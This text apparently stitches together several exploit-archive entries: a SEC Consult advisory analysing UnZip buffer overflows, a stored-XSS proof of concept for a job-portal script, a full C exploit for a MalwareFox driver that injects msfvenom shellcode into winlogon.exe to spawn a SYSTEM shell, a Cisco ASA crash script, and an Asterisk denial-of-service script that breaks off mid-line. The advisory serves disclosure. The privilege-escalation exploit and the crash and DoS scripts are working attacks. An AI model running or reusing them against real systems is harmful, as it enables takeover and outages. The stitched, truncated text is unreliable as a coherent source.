SEC Consult Vulnerability Lab Security Advisory < 20180207-0 >
=======================================================================
              title: Multiple buffer overflow vulnerabilities
            product: InfoZip UnZip
 vulnerable version: UnZip <= 6.00 / UnZip <= 6.1c22
      fixed version: 6.10c23
         CVE number: CVE-2018-1000031,CVE-2018-1000032,CVE-2018-1000033
                     CVE-2018-1000034,CVE-2018-1000035
             impact: high
           homepage: http://www.info-zip.org/UnZip.html
              found: 2017-11-03
                 by: R. Freingruber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"UnZip is an extraction utility for archives compressed in .zip format (also
called "zipfiles"). Although highly compatible both with PKWARE's PKZIP and
PKUNZIP utilities for MS-DOS and with Info-ZIP's own Zip program, our
primary objectives have been portability and non-MSDOS functionality.
UnZip will list, test, or extract files from a .zip archive, commonly found
on MS-DOS systems. The default behavior (with no options) is to extract into
the current directory (and subdirectories below it) all files from the
specified zipfile."

Source: http://www.info-zip.org/UnZip.html

InfoZip's UnZip is used as default utility for uncompressing ZIP archives
on nearly all *nix systems. It gets shipped with many commerical products on
Windows to provide (un)compressing functionality as well.


Business recommendation:
------------------------
InfoZip Unzip should be updated to the latest available version.


Vulnerability overview/description:
-----------------------------------
1) Heap-based buffer overflow in password protected ZIP archives (CVE-2018-1000035)

InfoZip's UnZip suffers from a heap-based buffer overflow when uncompressing
password protected ZIP archives. An attacker can exploit this vulnerability
to overwrite heap chunks to get arbitrary code execution on the target system.

For newer builds the risk for this vulnerability is partially mitigated
because modern compilers automatically replace unsafe functions with length
checking variants of the same function (for example sprintf gets replaced
by sprintf_chk). This is done by the compiler at locations were the length
of the destination buffer can be calculated.

Nevertheless, it must be mentioned that UnZip is used on many systems
including older systems or on exotic architectures on which this protection
is not in place. Moreover, pre-compiled binaries which can be found on the
internet lack the protection because the last major release of InfoZip's
UnZip was in 2009 and compilers didn't enable this protection per default at
that time. The required compiler flags are also not set in the Makefile of
UnZip. Compiled applications are therefore only protected if the used compiler
has this protection enabled per default which is only the case with modern
compilers.

To trigger this vulnerability (and the following) it's enough to uncompress
a manipulated ZIP archive. Any of the following invocations can be used to
trigger and abuse the vulnerabilities:

>unzip malicious.zip
>unzip -p malicious.zip
>unzip -t malicious.zip

2) Heap-based out-of-bounds write (CVE-2018-1000031)

This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip).
InfoZip's UnZip suffers from a heap-based out-of-bounds write if the
archive filename does not contain a .zip suffix.

3) Heap/BSS-based buffer overflow (Bypass of CVE-2015-1315) (CVE-2018-1000032)

This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip).
InfoZip's UnZip suffers from a heap/BSS-based buffer-overflow which
can be used to write null-bytes out-of-bound when converting
attacker-controlled strings to the local charset.

4) Heap out-of-bounds access in ef_scan_for_stream (CVE-2018-1000033)

This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip).
InfoZip's UnZip suffers from a heap out-of-bounds access
vulnerability.

5) Multiple vulnerabilities in the LZMA compression algorithm (CVE-2018-1000034)

This vulnerability only affects UnZip 6.1c22 (next beta version of UnZip).
InfoZip's UnZip suffers from multiple vulnerabilities in the LZMA
implementation. Various crash dumps have been supplied to the vendor
but no further analysis has been performed.


Proof of concept:
-----------------
1) Heap-based buffer overflow in password protected ZIP archives (CVE-2018-1000035)

Unzipping a malicious archive results in the following output:
(On Ubuntu 16.04 with UnZip 6.0 which was installed via aptitude install unzip)

*** buffer overflow detected ***: unzip terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x*****)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x**)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(+0x*****)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(+0x*****)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(_IO_default_xsputn+0x**)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(_IO_vfprintf+0x**)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(__vsprintf_chk+0x**)[0x************]
/lib/x86_64-linux-gnu/libc.so.6(__sprintf_chk+0x**)[0x************]
unzip[0x40c02b]
unzip[0x4049ac]
unzip[0x40762c]
unzip[0x409b60]
unzip[0x411175]
unzip[0x411bdf]
unzip[0x404191]

Function names can be mapped to the backtrace by compiling the application
with debug symbols:

(gdb) backtrace
#0  0x000000000040c706 in UzpPassword ()
#1  0x00000000004043ce in decrypt ()
#2  0x000000000040731c in extract_or_test_entrylist ()
#3  0x00000000004094af in extract_or_test_files ()
#4  0x00000000004149a5 in do_seekable ()
#5  0x000000000041540f in process_zipfiles ()
#6  0x0000000000403921 in unzip ()

The vulnerability resides inside the UzpPassword function in the following
code snippet (file ./fileio.c):

[1591]  if ((prompt = (char *)malloc(2*FILNAMSIZ + 15)) != (char *)NULL) {
[1592]    sprintf(prompt, LoadFarString(PasswPrompt),
[1593]          FnFilter1(zfn), FnFilter2(efn));
...
[1595]  }          

The allocation at line 1591 allocates a fixed size buffer and then writes into
it at line 1592. It writes the following format string (PasswPrompt) into
the buffer: "[%s] %s password: "

This string has a length of 15 including the null-termination which explains
the +15 in the allocation. The developer allocated 2*FILENAMESIZ which
corresponds to 2 * PATH_MAX for the two format strings (zfn and efn).
zfn is the archive filename and can therefore not exceed PATH_MAX.
efn is the current processed filename inside the ZIP archive which should
typically be smaller than PATH_MAX for normal files. However, since an
attacker can manipulate the archive file the name can arbitrarily be chosen
which leads to a heap-based buffer overflow.

As already mentioned, modern compilers replace unsafe functions with
safe alternatives as a defense in depth mechanism.
This feature is called BOSC (Built-in object size checking) and is part
of the FORTIFY_SOURCE=2 protection.
The following link shows the source code (and vulnerability) inside
the Ubuntu package:
http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/trusty/unzip/trusty-updates/view/head:/fileio.c#L1593

By checking the installed compiled binary the following code can be seen:
(UnZip 6.0 from Ubuntu 16.04)

0x40bfc6:    mov    edi,0x200f
0x40bfcb:    mov    r13,r8
0x40bfce:    mov    QWORD PTR [rsp+0x8],r9
0x40bfd3:    call   0x401d30 <malloc@plt>
...
0x40c01a:    mov    edx,0x200f
0x40c01f:    mov    esi,0x1
0x40c024:    xor    eax,eax
0x40c026:    call   0x401f40 <__sprintf_chk@plt>

The code allocates 0x200f (=4096*2 + 15) bytes but the unsafe sprintf
function was replaced with the length-checking sprintf_chk() function
which receives as argument the size of the buffer (0x200f at address
0x40c01a). The risk is therefore mitigated on Ubuntu (and other modern
operating systems), at least with the currently used compiler default flags.

However, many pre-compiled UnZip binaries can be found on the internet
which are not compiled with this protection.
For example, the following three links are the first links which can be
found when searching for InfoZip UnZIP on the internet and which contain
unprotected binaries:
http://gnuwin32.sourceforge.net/packages/unzip.htm
https://oss.oracle.com/el4/unzip/unzip.tar
http://www.willus.com/archive/zip64/


2) Heap-based out-of-bounds write (CVE-2018-1000031)

When uncompressing ZIP archives the following code gets executed
(file fileio.c:345 function set_zipfn_sgmnt_name() in UnZip 6.1c22):

#define SGMNT_NAME_BOOST 8
...
  if (G.zipfn_sgmnt == NULL)
  {
[1]    G.zipfn_sgmnt_size = (int)strlen(G.zipfn)+ SGMNT_NAME_BOOST;
    if ((G.zipfn_sgmnt = izu_malloc(G.zipfn_sgmnt_size)) == NULL)
  ...
[2]  zfstrcpy(G.zipfn_sgmnt, G.zipfn);
  /* Expect to find ".zXX" at the end of the segment file name. */
[3]  sufx_len = IZ_MAX( 0, ((int)strlen(G.zipfn_sgmnt)- 4));
[4]  suffix = G.zipfn_sgmnt+ sufx_len;
  ...
  else  // No .zip extension
  {
[5]    zfstrcpy( (suffix+ sufx_len), ZSUFX);
[6]    suffix += sufx_len+ 2;
  }
  /* Insert the next segment number into the file name (G.zipfn_sgmnt). */
[7]  sprintf(suffix, "%02d", (sgmnt_nr+ 1));

G.zipfn is the filename / path of the archive file. Line [1] allocates space
for this name plus 8 (SGMNT_NAME_BOOST). Line [2] copies the name.
[3] and [4] calculate the end address minus 4 which should point to a suffix
if one is present. After [4] the variable suffix already points to this
address. However, line [5] adds sufx_len again to suffix, the write target
is therefore the base address + 2*(allocation_length - 4) but the buffer
can only hold allocation_len bytes.
Line [7] is another out-of-bounds write because of line [6].

Memory trace of the crash:
#1 0xf7af3c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
#2 0x80969be in set_zipfn_sgmnt_name unzip610c22/fileio.c:424
#3 0x808eb82 in find_local_header unzip610c22/extract.c:4469
#4 0x808eb82 in extract_or_test_entrylist unzip610c22/extract.c:4745
#5 0x808eb82 in extract_or_test_files unzip610c22/extract.c:5698
#6 0x80cf6ca in extract_archive_seekable unzip610c22/process.c:1314
#7 0x80cf6ca in extract_archive unzip610c22/process.c:1465
#8 0x80d5676 in process_zipfiles unzip610c22/process.c:2033
#9 0x80636a2 in unzip unzip610c22/unzip.c:1840
#10 0x804a5b6 in main unzip610c22/unzip.c:1280
#11 0xf78cb636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

Please note that this vulnerability must not lead to a crash. If the
overwritten memory is not used, the program works as expected.


3) Heap/BSS-based buffer overflow (Bypass of CVE-2015-1315) (CVE-2018-1000032)

During parsing ZIP archives the function charset_to_intern() can be called
(unix/Unix.c:2427) with the "string" argument pointing to attacker
controlled data. This function converts the string in-place to another
charset (string is an INOUT argument).

The following code performs this task in the function:
[1]    slen = strlen(string);
[2]    s = string;
[3]    dlen = buflen = 2 * slen;
[4]    d = buf = izu_malloc(buflen + 1);
    if (d)
    {
[5]      memset( buf, 0, buflen);

      /* 2015-02-12 William Robinet, SMS.  CVE-2015-1315.
       * Added FILNAMSIZ check to avoid buffer overflow. Better would
       * be to pass in an actual destination buffer size.
       */
[6]      if ((iconv(cd, &s, &slen, &d, &dlen) != (size_t)-1) &&
[7]       (strlen(buf) < FILNAMSIZ))
      {
[8]        strncpy(string, buf, buflen);
      }
      izu_free(buf);
    }

The input string pointer is stored in the variable "string" and "s" (see [2]).
Line [6] tries to convert the input ("s") via iconv() to another charset.
The destination is "d" / "buf" (see line [4]).
This destination buffer has a size of two times the input length plus one ([3]).

The first problem can be found in line [5] which just initializes "buflen" bytes
and not "buflen+1" bytes. Consider the input string is empty, therefore slen=0.
This will allocate 1 byte at line [4] because of the +1. However, [5] calls
memset with buflen=0 which leaves the 1-byte buffer uninitialized. In line [7]
strlen() can therefore access data out-of-bounds if the uninitialized byte does
not contain a null-byte. This flaw is not critical because it can just crash the
application. Nevertheless, it should be fixed.

The second problem is harder to identify. The function do_string() is used to
parse strings from ZIP archives. If the option DS_FN gets passed, the string
is written into the filename[] array from the global variable G.
The code at extract.c:5584 (in the function extract_or_test_files()) calls
for example this function with this option:

do_string(__G__ G.crec.filename_length, DS_FN)) != PK_COOL)

Inside do_string() the following code can be found (fileio.c:3225):

Ext_ASCII_TO_Native(G.filename, G.pInfo->hostnum, G.pInfo->hostver,
  G.pInfo->HasUxAtt, (option == DS_FN_L));

The "Ext_ASCII_TO_Native" is a define which redirects to charset_to_intern().
The first argument (G.filename in this case) is passed to this function
and can be accessed with the "string" argument in the above code.
At line [6] iconv() is used to convert the input string from one charset
(e.g.: CP850) to another (e.g.: UTF-8). Therefore "buf" contains the
converted string after this call. With line [8] this converted string
should be copied over the original location from the argument
(G.filename in our case).

The strncpy at [8] limits the number of written characters to buflen.
Because of [3] buflen is two times the input length and therefore a buffer
overflow can happen (the real size of the input buffer is not passed to the
function). This vulnerability was CVE-2015-1315 and an additional check was
added to prevent this buffer overflow. The additional check at [7] checks
the length of the converted string with this line:
[7]       (strlen(buf) < FILNAMSIZ))

Only if this check is passed the code at [8] gets executed:

[8]        strncpy(string, buf, buflen);

This should logically limit the number of bytes which can be written to
be smaller than FILNAMSIZ (even if the wrong, higher number, is passed
to strncpy).

For example:
G.filename is defined in globals.h:372 (inside the Uz_Globs struct):

char     filename[FILNAMSIZ];

FILNAMSIZ is defined in unzpriv.h and is equal to PATH_MAX (4096).
Therefore, filename can hold a buffer of size 4096. When the above
code gets executed and G.filename gets converted to another charset,
this code gets executed:

[6]      if ((iconv(cd, &s, &slen, &d, &dlen) != (size_t)-1) &&
[7]       (strlen(buf) < FILNAMSIZ))
      {
[8]        strncpy(string, buf, buflen);
      }

Let's assume that our input string had a length of 2940. Because of
[3] buflen will be 5880 (2*2940). That means if [8] is reached
a strncpy with a limit of 5880 gets executed, however, the destination
buffer only has a size of 4096 bytes (G.filename).
The check at [7] should protect against this because if strlen(buf) (the
source from strncpy) is bigger or equal than FILNAMSIZ (4096), the
strncpy does not get executed. And since strncpy just copies until the
first null-byte, it should just be possible to copy at maximum strlen(buf)
bytes in this strncpy.

This assumption is wrong though.
Strncpy() always writes n bytes - in the above case it will always write
5880 bytes and therefore a buffer overflow will always occur.
This behavior can be found in the manpage of strncpy:
"If the length of src is less than n, strncpy() writes additional null
bytes to dest to ensure that a total of n bytes are written."

The strncpy can therefore be used to write null-bytes out-of-bound
in the BSS or heap segment. Since the input string length is under
attacker control, the write length can be manipulated. That means
that an attacker can perform a partial overwrite to exploit this
vulnerability. For example, the attacker can overwrite data in the
Uz_Globs struct after G.filename with null-bytes. One attack target
can be heap addresses. They can be partially overwritten (lower
bytes) to change the heap address to point to an attacker
controlled heap chunk to get control over the data and therefore
also over the execution.


4) Heap out-of-bounds access in ef_scan_for_stream (CVE-2018-1000033)

The first two arguments to the function ef_scan_for_stream()
(extract.c:1167) are: ef_ptr and ef_len.
This function is for example called at: extract.c:4795

sts = ef_scan_for_stream( G.extra_field,
  (long)G.lrec.extra_field_length,
&btmp_siz,
&bitmap[ 0],
&xlhdr,
&cmnt);

The second argument (ef_len) stores the length / size of the first
argument (ef_ptr) and access checks must be performed to ensure
that no out-of-bounds access occurs.

Code line extract.c:1233 can access data out-of-bounds because length
checks are missing:

bitmap = *(ef_ptr+ (data_byte++));

Debugger output:

Program received signal SIGSEGV, Segmentation fault.
ef_scan_for_stream (...) at extract.c:1233
1233            bitmap = *(ef_ptr+ (data_byte++));
(gdb) print /x ef_ptr
$10 = 0x7ffff7ed5f3b
(gdb) print /x data_byte
$11 = 0xc6
(gdb) print /x ef_len
$12 = 0xc5



5) Multiple vulnerabilities in the LZMA compression algorithm (CVE-2018-1000034)

Invalid access attempts can occur at:
szip/LzmaDec.c:275 - IF_BIT_0(probLen)
szip/LzmaDec.c:242 - IF_BIT_0(prob)
szip/LzmaDec.c:217 - IF_BIT_0(prob)
szip/LzmaDec.c:299 - TREE_6_DECODE(prob, distance);
szip/LzmaDec.c:189 - GET_BIT2(probLit, symbol, offs &= ~bit, offs &= bit)
szip/LzmaDec.c:264 - IF_BIT_0(probLen)
szip/LzmaDec.c:201 - IF_BIT_0(prob)
szip/LzmaDec.c:213 - IF_BIT_0(prob)
szip/LzmaDec.c:290 - TREE_DECODE(probLen, limit, len);
szip/LzmaDec.c:233 - IF_BIT_0(prob)

No further analysis has been performed on the LZMA compression code.
The vendor will remove this code entirely in future releases.


Vulnerable / tested versions:
-----------------------------
Versions before and including 6.10 / 6.1c22 of InfoZip's Unzip have been found
to be vulnerable. Version 6.0 was the latest major release at the time the
security vulnerabilities were discovered. The next beta version is 6.1c22 which
has been tested as well.


Vendor contact timeline:
------------------------
2017-11-03: Vulnerability 1 identified, further internal analysis
2017-11-06: Attempt to contact the developers via bug report page
2017-11-10: Initial contact to the developer via sms@antinode.info
2017-11-10: Information from the main developer: A new beta version (6.1c22),
            which will be released soon, incorporates some security features.
            A link to the new beta version was provided.
2017-11-12: Sending encrypted advisory to sms@antinode.info
            Informed developer of the latest possible release date (2017-12-30).
2017-11-13: Developer confirms the vulnerability and notes that
            it should be easy to fix. The developer asks for a notification
            if vulnerabilities are found in version 6.1c22.
2017-11-21: Vulnerability 2-5 in UnZip 6.1c22 identified,
            the updated encrypted advisory with crash files was sent to
            the developer.
2017-11-23: Developer confirmed the e-mail containing the updated advisory.
2017-12-06: Asking the developer when an update will be available and
            to coordinate the release of the advisory together.
2017-12-11: E-mail from the developer: All vulnerabilities (except LZMA
            vulnerabilities) are fixed in version 6.1c23. A link to the new
            version was provided. The LZMA code / feature will likely be disabled
            until a better solution is available.
2017-12-13: Asking the developer for a coordinated release of the advisory.
2018-01-04: Informing the developer about the changed release date because
            of the holidays. Distribution mailing lists will be informed on
            2018-01-17, the advisory will be released about one week after that.
            Asking the developer for an InfoZip version with LZMA disabled.
2018-01-10: Informing the developer again that the current solution is to
            upgrade to version 6.10c23 which still contains the LZMA
            vulnerabilities and if a version without LZMA is available.
2018-01-17: Informing distros@vs.openwall.org about the upcoming advisory.
2018-02-01: Received CVE numbers.
2018-02-07: Publication of the advisory



Solution:
---------
Update to version 6.10c23: http://antinode.info/ftp/info-zip/unzip610c23.zip
Please note that the LZMA vulnerabilities are not yet fixed in this version.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF R. Freingruber @2018

######################################################################################
# Exploit Title: Naukri Clone Script - Stored XSS
# Date: 06.02.2018
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/naukri-clone-script/
# Category: Web Application
# Version: 3.0.3
# Tested on: Linux Mint
# CVE: na
#######################################################################################

Proof of Concept
=================
1. Login as a jobseeker
2. Goto "Edit Profile"
3. Edit any field with "<script>alert("PKP")</script>"
4. Save Profile
5. You will be having a popup "PKP"

/*
Title: MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation
Date: 03/02/2018
Author: Souhail Hammou
Vendor Homepage: https://www.malwarefox.com/
Version: 2.74.0.150
Tested on: Windows 7 32-bit / Windows 10 64-bit
CVE: CVE-2018-6606
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>


BOOL RegisterProcessByIOCTL(HANDLE hDevice)
{
    DWORD pid, BytesReturned;

    /*
    IOCTL 0x80002010 registers a process, by its PID, as trusted by the driver. Registered
    processes can send special IOCTLs to the driver to do stuff like:
        - Enable/Disable real-time protection
        - Write to raw disk
        - Open full access handles to processes
        - ...etc

    When a process sends a special IOCTL, the driver checks if that process is registered (as 
    shown in the disassembly below at address 0000000140010573).
    However, when a process sends the IOCTL 0x80002010 to register a process by its PID, the driver
    doesn't check to see if the requestor itself is registered (0000000140010553).
    That way, any process can register any other process (including itself) with the driver.

    .text:000000014001054A                 mov     ebx, [rcx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
    .text:000000014001054D                 cmp     ebx, 80002010h
    .text:0000000140010553                 jz      short find_ioctl_dispatcher ;jump past the check

    [......]

    .text:0000000140010573                 mov     edx, 1
    .text:0000000140010578                 mov     ecx, ebp ; Requestor_PID
    .text:000000014001057A                 call    IsProcessRegistered
    .text:000000014001057F                 lea     rdx, aMain_c
    .text:0000000140010586                 test    eax, eax
    .text:0000000140010588                 jnz     short loc_1400105C2
    .text:000000014001058A                 mov     [rsp+68h+var_38], ebp
    .text:000000014001058E                 lea     rax, aProcessidDIsNo
    .text:0000000140010595                 mov     edi, STATUS_ACCESS_DENIED

    [......]

    .text:00000001400105C8 find_ioctl_dispatcher:                  ; CODE XREF: sub_1400104BC+97j
    .text:00000001400105C8                                         ; sub_1400104BC+ACj

    [......]

    .text:0000000140010612                 cmp     ebx, 80002010h
    .text:0000000140010618                 jz      loc_1400106D7  ; dispatch the IOCTL
    */

    pid = GetCurrentProcessId(); //Register our process with the driver
    if (!DeviceIoControl(hDevice, 0x80002010, &pid, sizeof(DWORD), NULL, 0, &BytesReturned, NULL))
    {
        return FALSE;
    }

    return TRUE;
}

DWORD GetWinlogonPID()
{
    DWORD WinlogonPid = 0;
    PROCESSENTRY32 ProcessEntry;
    ProcessEntry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateToolhelp32Snapshot failed !\n");
        goto ret;
    }

    if (!Process32First(hSnapshot, &ProcessEntry))
    {
        printf("[-] Process32First failed !\n");
        goto cleanup;
    }

    do
    {
        if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe"))
        {
            WinlogonPid = ProcessEntry.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapshot, &ProcessEntry));

cleanup:
    CloseHandle(hSnapshot);
ret:
    return WinlogonPid;
}
int main(int argc, char** argv)
{
    DWORD BytesReturned;
    DWORD winlogon_pid;
    HANDLE winlogon_handle;
    LPVOID RemoteAllocation;
    HANDLE hDevice;

    printf("===      MalwareFox Anti-Malware 2.74.0.150 zam64.sys Local Privilege Escalation      ===\n");
    printf("                              Tested on Windows 10 64-bit                                \n");
    printf("                                   Souhail Hammou                                      \n\n");
    printf("[*] Stage 1: Registering the process with the driver by sending IOCTL 0x80002010\n");

    hDevice = CreateFile
        ("\\\\.\\ZemanaAntiMalware",
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
            );
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        return 0;
    }


    if (!RegisterProcessByIOCTL(hDevice))
    {
        printf("\t[-] Registration Failed !\n");
        return 0;
    }

    printf("\t[+] Process registered.\n[*] Stage 2: \n");

    printf("\t[+] Getting Winlogon's PID\n");
    winlogon_pid = GetWinlogonPID();

    if (!winlogon_pid)
    {
        printf("\t[-] GetWinlogonPID() failed !\n");
        return 0;
    }

    printf("\t[+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon\n");

    /*
    The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process.
    We use this IOCTL to open a full access handle to winlogon.exe.
    Note that this IOCTL can only be sent if the process is registered with the driver.
    */
    if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL))
    {
        printf("\t[-] DeviceIoControl 0x8000204C failed !\n");
        return 0;
    }

    printf("\t[+] Allocating executable memory in winlogon.exe using the full access handle\n");

    if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
    {
        printf("\t[-] VirtualAllocEx failed !\n");
        return 0;
    }

    printf("\t[+] Writing shellcode to allocated memory\n");

    /*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
    unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";

    if (!WriteProcessMemory(winlogon_handle, RemoteAllocation, buf, sizeof(buf), &BytesReturned))
    {
        printf("\t[-] WriteProcessMemory Failed !\n");
        return 0;
    }

    printf("\t[+] Spawning SYSTEM shell\n");
    if (!CreateRemoteThread(winlogon_handle, NULL, 0, RemoteAllocation, NULL, 0, NULL))
    {
        printf("\t[-] CreateRemoteThread Failed! Did you compile the exploit as a 64-bit executable ?\n");
        return 0;
    }
}

#
# Cisco ASA CVE-2018-0101 Crash PoC
#
# We basically just read:
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf
#
# @zerosum0x0, @jennamagius, @aleph___naught
#

import requests, sys

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'

xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
<host-scan-reply>A</host-scan-reply>
</config-auth>
"""

r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False,
allow_redirects=False)

print(r.status_code)
print(r.headers)
print(r.text)

# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
# Vulnerability found using Exploit Pack v10 - Fuzzer module
# CVE-2017-17090 -  AST-2017-013
#
# Tested on: Asterisk 13.17.2~dfsg-2
#
# Description: Asterisk is prone to a remote unauthenticated memory exhaustion
# The vulnerability is due to an error when the vulnerable application
# handles crafted SCCP packet. A remote attacker may be able to exploit
# this to cause a denial of service condition on the affected system.
#
# [Nov 29 15:38:06] ERROR[7763] tcptls.c: TCP/TLS unable to launch
# helper thread: Cannot allocate memory
#
# Program: Asterisk is an Open Source PBX and telephony toolkit.  It is, in a
# sense, middleware between Internet and telephony channels on the bottom,
# and Internet and telephony applications at the top.
#
# Homepage: http://www.asterisk.org/
# Filename: pool/main/a/asterisk/asterisk_13.17.2~dfsg-2_i386.deb
#
# Example usage: python asteriskSCCP.py 192.168.1.1 2000

import binascii
import sys
import socket
import time

def asteriskSCCP(target,port):
    try:
        while 1:
            # Open socket
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            # Set reuse ON
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # Bind port
            s.connect((target, port))
            print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Connected to:"), target, port
            print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Establishing connection.. ")
            packet =
